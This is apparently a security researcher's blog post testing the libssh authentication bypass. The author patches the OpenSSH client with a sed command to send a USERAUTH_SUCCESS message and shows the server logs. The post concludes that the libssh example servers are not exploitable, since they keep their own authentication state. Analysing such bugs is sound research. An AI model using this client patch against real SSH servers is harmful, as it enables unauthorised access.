What seems to be missing however is an actually vulnerable implementation. Allow me to explain.
Just like the currently available public exploit, my idea was to send SSH2_MSG_USERAUTH_SUCCESS instead of SSH2_MSG_USERAUTH_REQUEST. To get this done I choose to patch OpenSSH and let it handle the rest of the SSH protocol for me.
$ sed -i 's/SSH2_MSG_USERAUTH_REQUEST/SSH2_MSG_USERAUTH_SUCCESS/g' sshconnect2.c
$ autoreconf
$ ./configure
$ make
Next I started the libssh 0.7.5 example ssh_server_fork, fired up my patched OpenSSH and... Nothing.
Looking at the server log:
[2018/10/22 01:15:55.264597, 3] ssh_packet_socket_callback: packet: read type 52 [len=124,padding=73,comp=50,payload=50]
[2018/10/22 01:15:55.264732, 3] ssh_packet_process: Dispatching handler for packet type 52
[2018/10/22 01:15:55.264799, 3] ssh_packet_userauth_success: Authentication successful
[2018/10/22 01:15:55.264853, 3] ssh_packet_socket_callback: Processing 80 bytes left in socket buffer
...
[2018/10/22 01:15:55.267131, 3] ssh_message_channel_request_reply_default: Sending a default channel_request denied to channel 0
[2018/10/22 01:15:55.267222, 3] packet_send2: packet: wrote [len=12,padding=6,comp=5,payload=5]
[2018/10/22 01:15:55.267363, 3] ssh_socket_unbuffered_write: Enabling POLLOUT for socket
[2018/10/22 01:15:55.269561, 1] ssh_socket_exception_callback: Socket exception callback: 1 (0)
[2018/10/22 01:15:55.269667, 1] ssh_socket_exception_callback:
Socket error: disconnected
So, I was successfully authenticated, but then disconnected. As described in RFC4252 §6, message 52 is SSH_MSG_USERAUTH_SUCCESS.
Source code diving time! I'll not go into all the details that I went through to get to understand libssh and cut right to it. Looking at examples/ssh_server_fork.c, this is essentially what's going on:
- setup the libssh server and, when a client connects
- call handle_session
- setup libssh callbacks, including the auth_password_function
- while (sdata.authenticated == 0 || sdata.channel == NULL)
- ssh_event_dopoll(event, 100)
if (strcmp(user, USER) == 0 && strcmp(pass, PASS) == 0) {
sdata->authenticated = 1;
return SSH_AUTH_SUCCESS;
}
This part of the example implementation of ssh_server_fork is authenticating the user by the provided username and password and only if these match, sdata->authenticated is set to 1. The while-loop will therefore never exit when the exploit is used to authenticate.
The other examples provided in the libssh source package, all use a local state variable to check if the user properly authenticated. I have yet to find any service that implements libssh in a different way.
So, this clearly demonstrates the following paragraph from the original NCC Group's article on this vulnerability:
Not all libSSH servers will necessarily be vulnerable to the authentication bypass; since the authentication bypass sets the internal libSSH state machine to authenticated without ever giving any registered authentication callbacks an opportunity to execute, servers developed using libSSH which maintain additional custom session state may fail to function correctly if a user is authenticated without this state being created.
If you have found a service implementation that is actually vulnerable, I'd be very interested to hear about it in the comments.